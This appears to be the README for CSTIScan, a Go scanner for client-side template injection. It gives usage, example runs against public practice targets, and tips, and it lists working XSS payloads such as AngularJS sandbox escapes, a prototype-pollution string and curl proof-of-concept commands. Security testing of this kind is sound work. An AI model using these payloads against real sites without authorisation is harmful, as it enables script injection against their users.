🕵️‍♂️ CSTIScan: Client-Side Template Injection (SISTEE) Scanner

CSTIScan is a powerful tool designed to identify and exploit potential Client-Side Template Injection (CSTI) vulnerabilities in web applications. CSTI occurs when user input is incorrectly handled and inserted into client-side templates, potentially leading to cross-site scripting (XSS) and other security issues.

🚀 Features

🔍 Automated scanning of single or multiple URLs
🧪 Tests various CSTI payloads
📊 Detailed vulnerability reporting
🛠️ Proof of Concept (PoC) generation
📈 Progress bar for multiple URL scans
🎨 Colorized console output

📦 Installation

Ensure you have Go installed on your system.
Clone this repository:

git clone https://github.com/queencitycyber/SISTEE
cd SISTEE
go mod init csti.go
go mod tidy
go build .

🔧 Usage

Public Firing Range:

AngularJS: https://jsfiddle.net/2zs2yv7o/
VueJS: https://vue-client-side-template-injection-example.azu.now.sh/

Help Menu

NAME:
   cstiscan - Scan for Client-Side Template Injection vulnerabilities

USAGE:
   cstiscan [global options] command [command options]

COMMANDS:
   help, h  Shows a list of commands or help for one command

GLOBAL OPTIONS:
   --url value, -u value   Single URL to test
   --file value, -f value  File containing URLs to test
   --poc                   Output PoC details (default: false)
   --proof                 Output proof of vulnerable code (default: false)
   --help, -h              show help

Example Run - Provide Proof

./csti.go --url https://jsfiddle.net/2zs2yv7o/ --proof
 100% |█████████████| (1/1, 1 it/s)        
URL: https://jsfiddle.net/2zs2yv7o/
Vulnerable: Yes
Details:
Potential CSTI with payload
Proof:
Payload reflection: {{7*7}}
Payload reflection: <%= 7*7 %>
Payload reflection: {{constructor.constructor('alert(1)')()}}
Payload reflection: {{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor)}}
Payload reflection: {{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;'alert(1)'}}
--------------------------------------------------------------------------------
Results saved to csti_results.json

Example Run - Provide PoC

./csti.go --url https://jsfiddle.net/2zs2yv7o/ --poc
 100% |█████████████| (1/1, 1 it/s)        
URL: https://jsfiddle.net/2zs2yv7o/
Vulnerable: Yes
Details:
Potential CSTI with payload
PoC:
curl 'https://jsfiddle.net/2zs2yv7o/?test=%7B%7B7*7%7D%7D'
curl 'https://jsfiddle.net/2zs2yv7o/?test=${7*7}'
curl 'https://jsfiddle.net/2zs2yv7o/?test=<%= 7*7 %>'
curl 'https://jsfiddle.net/2zs2yv7o/?test=%7B%7Bconstructor.constructor('alert(1)')()%7D%7D'
curl 'https://jsfiddle.net/2zs2yv7o/?test=%7B%7BtoString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor)%7D%7D'
curl 'https://jsfiddle.net/2zs2yv7o/?test=%7B%7B{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;'alert(1)'%7D%7D'
--------------------------------------------------------------------------------
Results saved to csti_results.json

Single URL Scan

./cstiscan --url https://example.com

Multiple URL Scan

./cstiscan --file urls.txt

Include PoC Commands

./cstiscan --url https://example.com --poc

Include Proof of Vulnerable Code

./cstiscan --url https://example.com --proof

🔬 Methodology

1. Automated Scanning

The tool performs the following steps:

Fetches the target URL(s)
Analyzes the HTML content for potential CSTI vectors
Tests various CSTI payloads
Generates a detailed report of findings

2. Manual Verification

For each potentially vulnerable URL:

Open the URL in a browser
Open the browser's developer console
Inject test payloads into user input fields or URL parameters
Check for unexpected behavior or script execution

3. CSTI Payload Testing

The tool tests various payloads, including:

{{77}}
${77}
<%= 7*7 %>
{{constructor.constructor('alert(1)')()}}
{{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor)}}
{{{}[{toString:[].join,length:1,0:'proto'}].assign=[].join;'alert(1)'}}

4. Identifying Vulnerable Templates

The scanner looks for patterns that might indicate template usage, such as:

{{ }} (Mustache, Handlebars, AngularJS, Vue.js)
${ } (ES6 template literals, some frameworks)
<%= %> (EJS, Underscore.js)

📊 Results

The tool outputs a table with vulnerable URLs, details, and optional PoC commands
For manual testing, document:
- The URL tested
- The payload used
- The observed behavior (e.g., unexpected script execution, template evaluation)
Results are saved in JSON format for further analysis

💡 Tips & Tricks

URL Parameter Testing: Try injecting payloads via URL parameters:

https://target.com/page?param={{7*7}}

Combine with XSS: CSTI can often lead to XSS, test with alert functions:

{{constructor.constructor('alert("CSTI vulnerability")')()}}

Check for Different Template Engines: Different frameworks use different syntax, test various formats:

{{ }} for Mustache, Handlebars, AngularJS, Vue.js
${ } for ES6 template literals
<%= %> for EJS, Underscore.js

Prototype Pollution via CSTI: Some payloads can lead to prototype pollution:

{{{}[{toString:[].join,length:1,0:'proto'}].assign=[].join;'alert(1)'}}